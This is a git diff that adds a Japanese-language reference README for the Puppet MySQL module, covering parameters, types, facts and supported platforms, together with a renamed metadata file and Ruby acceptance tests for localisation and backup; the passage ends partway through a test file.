+ 'log-error': /var/log/mysqld.log' # 適切なMySQL導入のために必要
+ 'mysqld_safe':
+ 'log-error': '/var/log/mysqld.log' # 適切なMySQL導入のために必要
+
+# データベース+アクセスできるアカウント、暗号化されていないパスワードを作成
+mysql::server::db:
+ "dev":
+ user: "dev"
+ password: "devpass"
+ host: "127.0.0.1"
+ grant:
+ - "ALL"
+
+```
+
+
+## 参考
+
+### クラス
+
+#### パブリッククラス
+
+* [`mysql::server`](#mysqlserver):MySQLをインストールして設定します。
+* [`mysql::server::monitor`](#mysqlservermonitor):モニタするユーザをセットアップします。
+* [`mysql::server::mysqltuner`](#mysqlservermysqltuner):MySQL tunerスクリプトをインストールします。
+* [`mysql::server::backup`](#mysqlserverbackup):cronを使用してMySQLバックアップをセットアップします。
+* [`mysql::bindings`](#mysqlbindings):さまざまなMySQL言語バインディングをインストールします。
+* [`mysql::client`](#mysqlclient):MySQLクライアントをインストールします(サーバ以外)。
+
+#### プライベートクラス
+
+* `mysql::server::install`:パッケージをインストールします。
+* `mysql::server::installdb`:mysqldデータディレクトリ(/var/lib/mysqlなど)のセットアップを実行します。
+* `mysql::server::config`:MySQLを設定します。
+* `mysql::server::service`:サービスを管理します。
+* `mysql::server::account_security`:デフォルトのMySQLアカウントを削除します。
+* `mysql::server::root_password`:MySQLのルートパスワードを設定します。
+* `mysql::server::providers`:ユーザ、GRANT権限、データベースを作成します。
+* `mysql::bindings::client_dev`:MySQLクライアント開発パッケージをインストールします。
+* `mysql::bindings::daemon_dev`:MySQLデーモン開発パッケージをインストールします。
+* `mysql::bindings::java`:javaバインディングをインストールします。
+* `mysql::bindings::perl`:Perlバインディングをインストールします。
+* `mysql::bindings::php`:PHPバインディングをインストールします。
+* `mysql::bindings::python`:Pythonバインディングをインストールします。
+* `mysql::bindings::ruby`:Rubyバインディングをインストールします。
+* `mysql::client::install`:MySQLクライアントをインストールします。
+* `mysql::backup::mysqldump`:mysqldumpのバックアップを実行します。
+* `mysql::backup::mysqlbackup`:Oracle MySQL Enterprise Backupを使用してバックアップを実行します。
+* `mysql::backup::xtrabackup`:PerconaのXtraBackupを使用してバックアップを実行します。
+
+### パラメータ
+
+#### mysql::server
+
+##### `create_root_user`
+
+ルートユーザを作成するかどうかを指定します。
+
+有効な値:`true`、`false`。
+
+デフォルト値:`true`。
+
+このパラメータは、Galeraでクラスタをセットアップする場合に役立ちます。ルートユーザの作成が必要なのは一度だけです。このパラメータを、1つのノードに対しtrueに設定し、他のすべてのノードに対してfalseに設定できます。
+
+##### `create_root_my_cnf`
+
+`/root/.my.cnf`を作成するかどうかを指定します。
+
+有効な値:`true`、`false`。
+
+デフォルト値:`true`。
+
+`create_root_my_cnf`を使用すると`create_root_user`に左右されずに`/root/.my.cnf`を作成できます。すべてのノードに`/root/.my.cnf`が存在するようにしたい場合に、Galeraでこの機能を使用してクラスタをセットアップできます。
+
+##### `root_password`
+
+MySQLのルートパスワード。Puppetは、このパラメータを使用して、ルートパスワードの設定や`/root/.my.cnf`の更新を試みます。
+
+`create_root_user`または`create_root_my_cnf`がtrueの場合にこのパラメータが必要です。`root_password`が'UNSET'の場合は`create_root_user`と`create_root_my_cnf`がfalseになります(MySQLルートユーザと`/root/.my.cnf`が作成されません)。
+
+パスワード変更はサポートされますが、`/root/.my.cnf`に旧パスワードが設定されている必要があります。実際には、Puppetは`/root/.my.cnf`に設定されている旧パスワードを使用してMySQLで新しいパスワードを設定してから、`/root/.my.cnf`を新しいパスワードで更新します。
+
+##### `old_root_password`
+
+現在、このパラメータでは何も行わず、下位互換性を確保するためだけに存在します。ルートパスワードの変更についての詳細は、上記の`root_password`パラメータの説明を参照してください。
+
+##### `override_options`
+
+MySQLに渡すオーバーライドオプションを指定します。構造はmy.cnfファイルのハッシュと同様です。
+
+```puppet
+$override_options = {
+ 'section' => {
+ 'item' => 'thing',
+ }
+}
+```
+
+使用方法の詳細は、上記の[**サーバオプションのカスタマイズ**](#サーバオプションのカスタマイズ)を参照してください。
+
+##### `config_file`
+
+MySQL設定ファイルの場所を示すパス。
+
+##### `manage_config_file`
+
+MySQL設定ファイルを管理するかどうかを指定します。
+
+有効な値:`true`、`false`。
+
+デフォルト値:`true`。
+
+##### `includedir`
+
+カスタム設定オーバーライド用の!includedirの場所を示すパス。
+
+##### `install_options`
+
+管理対象のパッケージリソースに[install_options](https://docs.puppetlabs.com/references/latest/type.html#package-attribute-install_options)配列を渡します。指定されているパッケージマネージャに対応する正しいオプションを渡す必要があります。
+
+##### `purge_conf_dir`
+
+`includedir`ディレクトリをパージするかどうかを指定します。
+
+有効な値:`true`、`false`。
+
+デフォルト値:`false`。
+
+##### `restart`
+
+何らかの変更があった場合にサービスを再起動するかどうかを指定します。
+
+有効な値:`true`、`false`。
+
+デフォルト値:`false`。
+
+##### `root_group`
+
+ルートに使用するグループの名前。グループ名またはグループIDのいずれかです。詳細については[`group`ファイルの属性](https://docs.puppetlabs.com/references/latest/type.html#file-attribute-group)を参照してください。
+
+##### `mysql_group`
+
+MySQLデーモンユーザのグループの名前。グループ名またはグループIDのいずれかです。詳細については[`group`ファイルの属性](https://docs.puppetlabs.com/references/latest/type.html#file-attribute-group)を参照してください。
+
+##### `package_ensure`
+
+パッケージが存在するかどうか、またはパッケージが特定のバージョンでなければならないかどうかを指定します。
+
+有効な値:'present'、'absent'、または'x.y.z'。
+
+デフォルト値:'present'。
+
+##### `package_manage`
+
+MySQLサーバパッケージを管理するかどうかを指定します。
+
+デフォルト値:`true`。
+
+##### `package_name`
+
+インストールするMySQLサーバパッケージの名前。
+
+##### `remove_default_accounts`
+
+`mysql::server::account_security`を自動的に含めるかどうかを指定します。
+
+有効な値:`true`、`false`。
+
+デフォルト値:`false`。
+
+##### `service_enabled`
+
+サービスの有効化を指定します。
+
+有効な値:`true`、`false`。
+
+デフォルト値:`true`。
+
+##### `service_manage`
+
+サービスを管理するかどうかを指定します。
+
+有効な値:`true`、`false`。
+
+デフォルト値:`true`。
+
+##### `service_name`
+
+MySQLサーバサービスの名前。
+
+デフォルト値はOSにより異なり、'params.pp'に定義されています。
+
+##### `service_provider`
+
+サービスの管理に使用するプロバイダ。
+
+Ubuntuの場合のデフォルト値は'upstart'、Ubuntu以外の場合のデフォルト値は定義されていません。
+
+##### `users`
+
+作成するユーザのハッシュ(オプション)。[mysql_user](#mysql_user)に渡されます。
+
+```puppet
+users => {
+ 'someuser@localhost' => {
+ ensure => 'present',
+ max_connections_per_hour => '0',
+ max_queries_per_hour => '0',
+ max_updates_per_hour => '0',
+ max_user_connections => '0',
+ password_hash => '*F3A2A51A9B0F2BE2468926B4132313728C250DBF',
+ tls_options => ['NONE'],
+ },
+}
+```
+
+##### `grants`
+
+[mysql_grant](#mysql_grant)に渡されるGRANT権限のハッシュ(オプション)。
+
+```puppet
+grants => {
+ 'someuser@localhost/somedb.*' => {
+ ensure => 'present',
+ options => ['GRANT'],
+ privileges => ['SELECT', 'INSERT', 'UPDATE', 'DELETE'],
+ table => 'somedb.*',
+ user => 'someuser@localhost',
+ },
+}
+```
+
+##### `databases`
+
+作成されるデータベースのハッシュ(オプション)。[mysql_database](#mysql_database)に渡されます。
+
+```puppet
+databases => {
+ 'somedb' => {
+ ensure => 'present',
+ charset => 'utf8',
+ },
+}
+```
+
+#### mysql::server::backup
+
+##### `backupuser`
+
+バックアップ用に作成するMySQLユーザ。
+
+##### `backuppassword`
+
+バックアップ用のMySQLユーザパスワード。
+
+##### `backupdir`
+
+バックアップを保存するディレクトリ。
+
+##### `backupdirmode`
+
+バックアップディレクトリに適用されるパーミッション。このパラメータは`file`リソースに直接渡されます。
+
+##### `backupdirowner`
+
+バックアップディレクトリの所有者。このパラメータは`file`リソースに直接渡されます。
+
+##### `backupdirgroup`
+
+バックアップディレクトリのグループ所有者。このパラメータは`file`リソースに直接渡されます。
+
+##### `backupcompress`
+
+バックアップを圧縮するかどうかを指定します。
+
+有効な値:`true`、`false`。
+
+デフォルト値:`true`。
+
+##### `backuprotate`
+
+バックアップを保持する日数。
+
+有効な値:整数値。
+
+デフォルト値:30。
+
+##### `delete_before_dump`
+
+バックアップ前に古い.sqlファイルを削除するかどうかを設定します。trueに設定すると古いファイルがバックアップ前に削除され、falseに設定するとバックアップ後に削除されます。
+
+有効な値:`true`、`false`。
+
+デフォルト値:`false`。
+
+##### `backupdatabases`
+
+バックアップするデータベースの配列を指定します。
+
+##### `file_per_database`
+
+データベースごとに個別のファイルを使用するかどうかを設定します。
+
+有効な値:`true`、`false`。
+
+デフォルト値:`false`。
+
+##### `include_routines`
+
+`file_per_database`バックアップを実行する際にデータベースごとにルーチンを含めるかどうかを設定します。
+
+デフォルト値:`false`。
+
+##### `include_triggers`
+
+`file_per_database`バックアップを実行する際にデータベースごとにトリガを含めるかどうかを設定します。
+
+デフォルト値:`false`。
+
+##### `ensure`
+
+バックアップスクリプトを削除できます。
+
+有効な値:'present'、'absent'。
+
+デフォルト値:'present'。
+
+##### `execpath`
+
+MySQLを標準的でない場所にインストールする場合にカスタムパスを設定できます。デフォルト値:`/usr/bin:/usr/sbin:/bin:/sbin`。
+
+##### `time`
+
+バックアップ時刻を設定する2つの要素の配列。時刻をHH:MM形式で['23', '5'](23:05)または['3', '45'](03:45)に設定できます。
+
+#### mysql::server::backup
+
+##### `postscript`
+
+バックアップ終了時に実行されるスクリプト。この機能を使用すると、バックアップを中央ストアに同期させることができます。このスクリプトは、直接実行される1つの行であっても、配列を形成する複数の行であっても構いません。あるいは、外部で管理される1つ以上の(実行可能な)ファイルにすることもできます。
+
+##### `prescript`
+
+バックアップ開始前に実行されるスクリプト。
+
+##### `provider`
+
+サーバのバックアップの実行について設定します。有効な値は以下のとおりです。
+
+* `mysqldump`:mysqldumpを使用してバックアップを実行。バックアップのタイプ:Logical(デフォルト値)。
+* `mysqlbackup`:OracleのMySQL Enterprise Backupを使用してバックアップを実行します。バックアップのタイプ:Physical。このタイプのバックアップを使用するにはOracleの`meb`パッケージが必要です。RPM形式のものとTAR形式のものがあります。Ubuntuの場合は、[meb-deb](https://github.com/dveeden/meb-deb)を使用して公式のtarballからパッケージを作成できます。
+* `xtrabackup:PerconaのXtraBackupを使用してバックアップを実行します。バックアップのタイプ:Physical。
+
+##### `maxallowedpacket`
+
+バックアップダンプスクリプト用のSQLステートメントの最大サイズを定義ます。デフォルト値は1MBで、MySQL Serverのデフォルト値と同じです。
+
+##### `optional_args`
+
+バックアップツールに渡すべきオプションの引数の配列を指定します(現在はxtrabackupプロバイダでのみサポート)。
+
+#### mysql::server::monitor
+
+##### `mysql_monitor_username`
+
+MySQLのモニタ用に作成するユーザ名。
+
+##### `mysql_monitor_password`
+
+MySQLのモニタ用に作成するパスワード。
+
+##### `mysql_monitor_hostname`
+
+モニタするユーザリクエストへのアクセスが許可されたホスト名。
+
+#### mysql::server::mysqltuner
+
+**注意**:ネットワークに接続されていないシステムでこのクラスを使用する場合は、mysqltuner.plスクリプトをダウンロードし、`http(s)://`、`puppet://`、`ftp://`、または完全修飾ファイルパスを使用して、アクセス可能な場所でホストされるようにしておく必要があります。
+
+##### `ensure`
+
+リソースが存在することを確認します。
+
+有効な値:'present'、'absent'。
+
+デフォルト値:'present'。
+
+##### `version`
+
+major/MySQLTuner-perl githubレポジトリからインストールするバージョン。有効なタグでなければなりません。
+
+デフォルト値:'v1.3.0'。
+
+##### `environment`
+
+プロキシを使用したダウンロードなどのダウンロード中に有効な環境変数:environment => 'https_proxy=http://proxy.example.com:80'
+
+#### mysql::bindings
+
+##### `client_dev`
+
+`::mysql::bindings::client_dev`を含めるかどうかを指定します。
+
+有効な値:`true`、`false`。
+
+デフォルト値:`false`。
+
+##### `daemon_dev`
+
+`::mysql::bindings::daemon_dev`を含めるかどうかを指定します。
+
+有効な値:`true`、`false`。
+
+デフォルト値:`false`。
+
+##### `java_enable`
+
+`::mysql::bindings::java`を含めるかどうかを指定します。
+
+有効な値:`true`、`false`。
+
+デフォルト値:`false`。
+
+##### `perl_enable`
+
+`mysql::bindings::perl`を含めるかどうかを指定します。
+
+有効な値:`true`、`false`。
+
+デフォルト値:`false`。
+
+##### `php_enable`
+
+`mysql::bindings::php`を含めるかどうかを指定します。
+
+有効な値:`true`、`false`。
+
+デフォルト値:`false`。
+
+##### `python_enable`
+
+`mysql::bindings::python`を含めるかどうかを指定します。
+
+有効な値:`true`、`false`。
+
+デフォルト値:`false`。
+
+##### `ruby_enable`
+
+`mysql::bindings::ruby`を含めるかどうかを指定します。
+
+有効な値:`true`、`false`。
+
+デフォルト値:`false`。
+
+##### `install_options`
+
+管理対象のパッケージリソースに`install_options`を渡します。パッケージマネージャに対応する[正しいオプション](https://docs.puppetlabs.com/references/latest/type.html#package-attribute-install_options)を渡す必要があります。
+
+##### `client_dev_package_ensure`
+
+パッケージが、存在するかしないか、または特定のバージョンでなければならないかどうかを指定します。
+
+有効な値:'present'、'absent'、または'x.y.z'。
+
+適用されるのは`client_dev => true`の場合だけです。
+
+##### `client_dev_package_name`
+
+インストールするclient_devパッケージの名前。
+
+適用されるのは`client_dev => true`の場合だけです。
+
+##### `client_dev_package_provider`
+
+client_devパッケージのインストールに使用するプロバイダ。
+
+適用されるのは`client_dev => true`の場合だけです。
+
+##### `daemon_dev_package_ensure`
+
+パッケージが、存在するかしないか、または特定のバージョンでなければならないかどうかを指定します。
+
+有効な値:'present'、'absent'、または'x.y.z'。
+
+適用されるのはdaemon_dev => true`の場合だけです。
+
+##### `daemon_dev_package_name`
+
+インストールするdaemon_devパッケージの名前。
+
+適用されるのはdaemon_dev => true`の場合だけです。
+
+##### `daemon_dev_package_provider`
+
+daemon_devパッケージのインストールに使用するプロバイダ。
+
+適用されるのはdaemon_dev => true`の場合だけです。
+
+##### `java_package_ensure`
+
+パッケージが、存在するかしないか、または特定のバージョンでなければならないかどうかを指定します。
+
+有効な値:'present'、'absent'、または'x.y.z'。
+
+適用されるのは`java_enable => true`の場合だけです。
+
+##### `java_package_name`
+
+インストールするJavaパッケージの名前。
+
+適用されるのは`java_enable => true`の場合だけです。
+
+##### `java_package_provider`
+
+Javaパッケージのインストールに使用するプロバイダ。
+
+適用されるのは`java_enable => true`の場合だけです。
+
+##### `perl_package_ensure`
+
+パッケージが、存在するかしないか、または特定のバージョンでなければならないかどうかを指定します。
+
+有効な値:'present'、'absent'、または'x.y.z'。
+
+適用されるのは`perl_enable => true`の場合だけです。
+
+##### `perl_package_name`
+
+インストールするPerlパッケージの名前。
+
+適用されるのは`perl_enable => true`の場合だけです。
+
+##### `perl_package_provider`
+
+Perlパッケージのインストールに使用するプロバイダ。
+
+適用されるのは`perl_enable => true`の場合だけです。
+
+##### `php_package_ensure`
+
+パッケージが、存在するかしないか、または特定のバージョンでなければならないかどうかを指定します。
+
+有効な値:'present'、'absent'、または'x.y.z'。
+
+適用されるのは`php_enable => true`の場合だけです。
+
+##### `php_package_name`
+
+インストールするPHPパッケージの名前。
+
+適用されるのは`php_enable => true`の場合だけです。
+
+##### `python_package_ensure`
+
+パッケージが、存在するかしないか、または特定のバージョンでなければならないかどうかを指定します。
+
+有効な値:'present'、'absent'、または'x.y.z'。
+
+適用されるのは`python_enable => true`の場合だけです。
+
+##### `python_package_name`
+
+インストールするPythonパッケージの名前。
+
+適用されるのは`python_enable => true`の場合だけです。
+
+##### `python_package_provider`
+
+Pythonパッケージのインストールに使用するプロバイダ。
+
+適用されるのは`python_enable => true`の場合だけです。
+
+##### `ruby_package_ensure`
+
+パッケージが、存在するかしないか、または特定のバージョンでなければならないかどうかを指定します。
+
+有効な値:'present'、'absent'、または'x.y.z'。
+
+適用されるのは`ruby_enable => true`の場合だけです。
+
+##### `ruby_package_name`
+
+インストールするRubyパッケージの名前。
+
+適用されるのは`ruby_enable => true`の場合だけです。
+
+##### `ruby_package_provider`
+
+Rubyパッケージのインストールに使用するプロバイダ。
+
+#### mysql::client
+
+##### `bindings_enable`
+
+すべてのバインディングを自動的にインストールするかどうかを指定します。
+
+有効な値:`true`、`false`。
+
+デフォルト値:`false`。
+
+##### `install_options`
+
+管理対象のパッケージリソースに関するインストールオプションの配列。パッケージマネージャに対応する正しいオプションを渡す必要があります。
+
+##### `package_ensure`
+
+MySQLパッケージが、存在するかしないか、または特定のバージョンでなければならないかどうかを指定します。
+
+有効な値:'present'、'absent'、または'x.y.z'。
+
+##### `package_manage`
+
+MySQLクライアントパッケージを管理するかどうかを指定します。
+
+デフォルト値:`true`。
+
+##### `package_name`
+
+インストールするMySQLクライアントパッケージの名前。
+
+### 定義
+
+#### mysql::db
+
+```puppet
+mysql_database { 'information_schema':
+ ensure => 'present',
+ charset => 'utf8',
+ collate => 'utf8_swedish_ci',
+}
+mysql_database { 'mysql':
+ ensure => 'present',
+ charset => 'latin1',
+ collate => 'latin1_swedish_ci',
+}
+```
+
+##### `user`
+
+作成するデータベースのユーザ。
+
+##### `password`
+
+作成するデータベースの$userのパスワード。
+
+##### `dbname`
+
+作成するデータベースの名前。
+
+デフォルト値:"$name"。
+
+##### `charset`
+
+データベースに使用するキャラクタセット。
+
+デフォルト値:'utf8'。
+
+##### `collate`
+
+データベースの照合順序。
+
+デフォルト値:'utf8_general_ci'。
+
+##### `host`
+
+GRANT権限を付与するuser@hostの一部として使用するホスト。
+
+デフォルト値:'localhost'。
+
+##### `grant`
+
+データベースに対してuser@hostに付与される権限。
+
+デフォルト値:'ALL'。
+
+##### `sql`
+
+実行するsqlfileへのパス。文字列として指定された1つのファイル、または文字列の配列のいずれかです。
+
+デフォルト値:`undef`。
+
+##### `enforce_sql`
+
+sqlfilesを毎回実行するかどうかを指定します。falseに設定した場合はsqlfilesは1回しか実行されません。
+
+有効な値:`true`、`false`。
+
+デフォルト値:`false`。
+
+##### `ensure`
+
+データベースを作成するかどうかを指定します。
+
+有効な値:'present'、'absent'。
+
+デフォルト値:'present'。
+
+##### `import_timeout`
+
+sqlfilesをロードするときのタイムアウト(秒)。
+
+デフォルト値:300。
+
+##### `import_cat_cmd`
+
+データベースをインポートするためにsqlfileを読み込むコマンド。sqlfilesが圧縮されている場合に役立ちます。たとえば.gzファイルの場合に'zcat'を使用することができます。
+
+デフォルト値:'cat'。
+
+### タイプ
+
+#### mysql_database
+
+`mysql_database`は、MySQLでデータベースを作成し、管理します。
+
+##### `ensure`
+
+リソースの存在を指定します。
+
+有効な値:'present'、'absent'。
+
+デフォルト値:'present'。
+
+##### `name`
+
+管理するMySQLデータベースの名前。
+
+##### `charset`
+
+データベースに使用するキャラクタセットの設定。
+
+デフォルト値:'utf8'。
+
+##### `collate`
+
+データベースに使用する照合順序の設定。
+
+デフォルト値:'utf8_general_ci'。
+
+#### mysql_user
+
+MySQLでのユーザのGRANT権限を作成し、管理します。
+
+```puppet
+mysql_user { 'root@127.0.0.1':
+ ensure => 'present',
+ max_connections_per_hour => '0',
+ max_queries_per_hour => '0',
+ max_updates_per_hour => '0',
+ max_user_connections => '0',
+}
+```
+
+認証プラグインを指定することもできます。
+
+```puppet
+mysql_user{ 'myuser'@'localhost':
+ ensure => 'present',
+ plugin => 'unix_socket',
+}
+```
+
+ユーザに対しTLSオプションを指定できます。
+
+```puppet
+mysql_user{ 'myuser'@'localhost':
+ ensure => 'present',
+ tls_options => ['SSL'],
+}
+```
+
+##### `name`
+
+ユーザ名('username@hostname'またはusername@hostname)。
+
+##### `password_hash`
+
+ユーザのパスワードハッシュ。このようなハッシュを作成するには、mysql_password()を使用してください。
+
+##### `max_user_connections`
+
+同時に接続するユーザ数の最大値。
+
+整数値でなければなりません。
+
+指定値が'0'の場合は無制限(またはグローバル)になります。
+
+##### `max_connections_per_hour`
+
+ユーザの1時間あたりの接続回数最大値。
+
+整数値でなければなりません。
+
+指定値が'0'の場合は無制限(またはグローバル)になります。
+
+##### `max_queries_per_hour`
+
+ユーザの1時間あたりのクエリ数最大値。
+
+整数値でなければなりません。
+
+指定値が'0'の場合は無制限(またはグローバル)になります。
+
+##### `max_updates_per_hour`
+
+ユーザの1時間あたりの更新回数最大値。
+
+整数値でなければなりません。
+
+指定値が'0'の場合は無制限(またはグローバル)になります。
+
+##### `tls_options`
+
+1つ以上のtls_optionの値を使用するMySQLアカウント用のSSL関連のオプション。'NONE'の場合はアカウントにTLSオプションが指定されません。使用可能なオプションは、MySQLドキュメントに示されているとおり、'SSL'、'X509'、'CIPHER *cipher*'、'ISSUER *issuer*'、'SUBJECT *subject*'です。
+
+
+#### mysql_grant
+
+`mysql_grant`は、MySQLでデータベースにアクセスするのに必要なGRANT権限を作成します。MySQLでデータベースにアクセスするためのGRANT権限を作成するには、`username@hostname/database.table`のパターンに続けて次のようにリソースのタイトルを作成する必要があります。
+
+```puppet
+mysql_grant { 'root@localhost/*.*':
+ ensure => 'present',
+ options => ['GRANT'],
+ privileges => ['ALL'],
+ table => '*.*',
+ user => 'root@localhost',
+}
+```
+
+次のように、列レベルまで詳細に権限を指定することができます。
+
+```puppet
+mysql_grant { 'root@localhost/mysql.user':
+ ensure => 'present',
+ privileges => ['SELECT (Host, User)'],
+ table => 'mysql.user',
+ user => 'root@localhost',
+}
+```
+
+GRANT権限を取り消す場合は['NONE']を指定します。
+
+##### `ensure`
+
+リソースの存在を指定します。
+
+有効な値:'present'、'absent'。
+
+デフォルト値:'present'。
+
+##### `name`
+
+GRANT権限を示す名前。'user/table'の形式でなければなりません。
+
+##### `privileges`
+
+ユーザに許可を与える権限。
+
+##### `table`
+
+権限が適用されるテーブル。
+
+##### `user`
+
+権限が付与されるユーザ。
+
+##### `options`
+
+権限を付与するMySQLオプション(オプション)。
+
+#### mysql_plugin
+
+`mysql_plugin`を使用してMySQLサーバにプラグインをロードできます。
+
+```puppet
+mysql_plugin { 'auth_socket':
+ ensure => 'present',
+ soname => 'auth_socket.so',
+}
+```
+
+##### `ensure`
+
+リソースの存在を指定します。
+
+有効な値:'present'、'absent'。
+
+デフォルト値:'present'。
+
+##### `name`
+
+管理するMySQLプラグインの名前。
+
+##### `soname`
+
+ライブラリファイルの名前。
+
+#### `mysql_datadir`
+
+バージョンに固有なコードでMySQLデータディレクトリを初期化します。MySQL 5.7.6より前のバージョンではmysql_install_dbを、後のバージョンではmysqld --initialize-insecureを使用します。
+
+安全でない初期化が必要なのは、mysqldバージョン5.7で'secure by default'モードが導入されているからです。これは、MySQLがランダムなパスワードを作成してSTDOUTに書き込むことを意味します。したがって、使用可能な認証情報がないためPuppetが後でデータベースサーバにアクセスすることはできません。
+
+このタイプは内部タイプであるため、直接呼び出すことはできません。
+
+### ファクト
+
+#### `mysql_version`
+
+`mysql --version`からの出力を解析してMySQLのバージョンを判断します。
+
+#### `mysql_server_id`
+
+ノードのMACアドレスに基づいて、`server_id`として使用可能な一意なIDを作成します。ループバックインターフェイスしかないノードでは、このファクトは*常に*`0`を返します。これらのノードは外部に接続されていないため、これが衝突の原因になる可能性はありません。
+
+### タスク
+
+MySQLモジュールにはサンプルタスクがあり、ユーザはデータベースに対して任意のSQLを実行できます。[Puppet Enterpriseマニュアル](https://puppet.com/docs/pe/2017.3/orchestrator/running_tasks.html)または[Boltマニュアル](https://puppet.com/docs/bolt/latest/bolt.html)で、タスクを実行する方法に関する情報を参照してください。
+
+## 制約事項
+
+このモジュールは以下のプラットフォームでテストされています。
+
+* RedHat Enterprise Linux 5、6、7
+* Debian 6、7、8
+* CentOS 5、 6、7
+* Ubuntu 10.04、12.04、14.04、16.04
+* Scientific Linux 5、6
+* SLES 11
+
+他のプラットフォームでは最小限のテストしか行っていないため、保証はできません。
+
+**注意:** mysqlbackup.shは、MySQL 5.7以降では動作せず、サポートされていません。
+
+Debian 9の互換性は完全には検証されていません。
+
+## 開発
+
+Puppet Forge上のPuppetモジュールはオープンプロジェクトであり、その価値を維持するにはコミュニティからの貢献が欠かせません。Puppetが提供する膨大な数のプラットフォームや、無数のハードウェア、ソフトウェア、デプロイ設定に弊社がアクセスすることは不可能です。
+
+弊社は、できるだけ変更に貢献しやすくして、弊社のモジュールがユーザの環境で機能する状態を維持したいと考えています。弊社では、状況を把握できるよう、貢献者に従っていただくべきいくつかのガイドラインを設けています。
+
+弊社の詳細な[モジュール貢献についてのガイドライン](https://docs.puppetlabs.com/forge/contributing.html)をご確認ください。
+
+### 作成者
+
+このモジュールは、David Schmittが作成したものをベースにして、以下の作成者による貢献内容が加えられています(Puppet Labsを除く)。
+
+* Larry Ludwig
+* Christian G. Warden
+* Daniel Black
+* Justin Ellison
+* Lowe Schmidt
+* Matthias Pigulla
+* William Van Hevelingen
+* Michael Arnold
+* Chris Weyl
+* Daniël van Eeden
+* Jan-Otto Kröpke
+* Timothy Sven Nelson
\ No newline at end of file
diff --git a/modules/services/unix/database/mysql/secgen_metadata.xml b/modules/services/unix/database/mysql_stretch_compatible/mysql/secgen_metadata.xml
similarity index 88%
rename from modules/services/unix/database/mysql/secgen_metadata.xml
rename to modules/services/unix/database/mysql_stretch_compatible/mysql/secgen_metadata.xml
index d7bc44106..206f14d22 100644
--- a/modules/services/unix/database/mysql/secgen_metadata.xml
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/secgen_metadata.xml
@@ -3,7 +3,7 @@
- MySQL database
+ MySQL database - Stretch compatibleConnor WilsonDavid SchmittPuppet Labs
@@ -19,6 +19,9 @@
mysqlGPL v2
+
+ .*Wheezy.*
+ mysql
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/locales_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/locales_spec.rb
new file mode 100644
index 000000000..e3cef352a
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/locales_spec.rb
@@ -0,0 +1,103 @@
+require 'spec_helper_acceptance'
+require 'beaker/i18n_helper'
+
+describe 'mysql localization', if: (fact('osfamily') == 'Debian' || fact('osfamily') == 'RedHat') && puppet_version =~ %r{(^4\.10\.[56789]|5\.\d\.\d)} do
+ before :all do
+ hosts.each do |host|
+ on(host, "sed -i \"96i FastGettext.locale='ja'\" /opt/puppetlabs/puppet/lib/ruby/vendor_ruby/puppet.rb")
+ change_locale_on(host, 'ja_JP.utf-8')
+ end
+ end
+
+ context 'when triggering puppet simple string error' do
+ let(:pp) do
+ <<-MANIFEST
+ class { 'mysql::server':
+ config_file => '/tmp/mysql.sFlJdV/my.cnf',
+ includedir => '/tmp/mysql.sFlJdV/include',
+ manage_config_file => 'true',
+ override_options => { 'mysqld' => { 'key_buffer_size' => '32M' }},
+ package_ensure => 'present',
+ purge_conf_dir => 'true',
+ remove_default_accounts => 'true',
+ restart => 'true',
+ root_group => 'root',
+ root_password => 'test',
+ old_root_password => 'kittensnmittens',
+ service_enabled => 'false'
+ }
+ MANIFEST
+ end
+
+ it 'displays Japanese error' do
+ apply_manifest(pp, catch_error: true) do |r|
+ expect(r.stderr).to match(%r{`old_root_password`属性は廃止予定であり、今後のリリースで廃止されます。}i)
+ end
+ end
+ end
+
+ context 'when triggering puppet interpolated string failure' do
+ let(:pp) do
+ <<-MANIFEST
+ class { 'mysql::server': root_password => 'password' }
+ class { 'mysql::server::backup':
+ backupuser => 'myuser',
+ backuppassword => 'mypassword',
+ backupdir => '/tmp/backups',
+ backupcompress => true,
+ prescript => true,
+ provider => 'mysqldump',
+ execpath => '/usr/bin:/usr/sbin:/bin:/sbin:/opt/zimbra/bin',
+ }
+ MANIFEST
+ end
+
+ it 'displays Japanese failure' do
+ apply_manifest(pp, catch_failures: true) do |r|
+ expect(r.stderr).to match(%r{'prescript'オプションは、現在、mysqldumpバックアッププロバイダ向けには実装されていません。}i)
+ end
+ end
+ end
+
+ context 'when triggering ruby simple string failure' do
+ let(:pp) do
+ <<-MANIFEST
+ mysql::db { 'mydb':
+ user => 'thisisalongusernametestfortodayandtomorrowandthenextday',
+ password => 'mypass',
+ host => 'localhost',
+ grant => ['SELECT', 'UPDATE'],
+ }
+ MANIFEST
+ end
+
+ it 'displays Japanese failure' do
+ apply_manifest(pp, expect_failures: true) do |r|
+ expect(r.stderr).to match(%r{MySQLユーザ名は最大\d{2}文字に制限されています。}i)
+ end
+ end
+ end
+
+ context 'when triggering ruby interpolated string error' do
+ let(:pp) do
+ <<-MANIFEST
+ mysql_user{ '"name@localhost':
+ ensure => 'present',
+ }
+ MANIFEST
+ end
+
+ it 'displays Japanese error' do
+ apply_manifest(pp, expect_failures: true) do |r|
+ expect(r.stderr).to match(%r{無効なデータベースのユーザ"name@localhost}i)
+ end
+ end
+ end
+
+ after :all do
+ hosts.each do |host|
+ on(host, 'sed -i "96d" /opt/puppetlabs/puppet/lib/ruby/vendor_ruby/puppet.rb')
+ change_locale_on(host, 'en_US')
+ end
+ end
+end
diff --git a/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_backup_spec.rb b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_backup_spec.rb
new file mode 100644
index 000000000..b0fecb0ca
--- /dev/null
+++ b/modules/services/unix/database/mysql_stretch_compatible/mysql/spec/acceptance/mysql_backup_spec.rb
@@ -0,0 +1,202 @@
+require 'spec_helper_acceptance'
+require 'puppet/util/package'
+require_relative './mysql_helper.rb'
+
+describe 'mysql::server::backup class' do
+ context 'should work with no errors' do
+ pp = <<-MANIFEST
+ class { 'mysql::server': root_password => 'password' }
+ mysql::db { [
+ 'backup1',
+ 'backup2'
+ ]:
+ user => 'backup',
+ password => 'secret',
+ }
+
+ class { 'mysql::server::backup':
+ backupuser => 'myuser',
+ backuppassword => 'mypassword',
+ backupdir => '/tmp/backups',
+ backupcompress => true,
+ postscript => [
+ 'rm -rf /var/tmp/mysqlbackups',
+ 'rm -f /var/tmp/mysqlbackups.done',
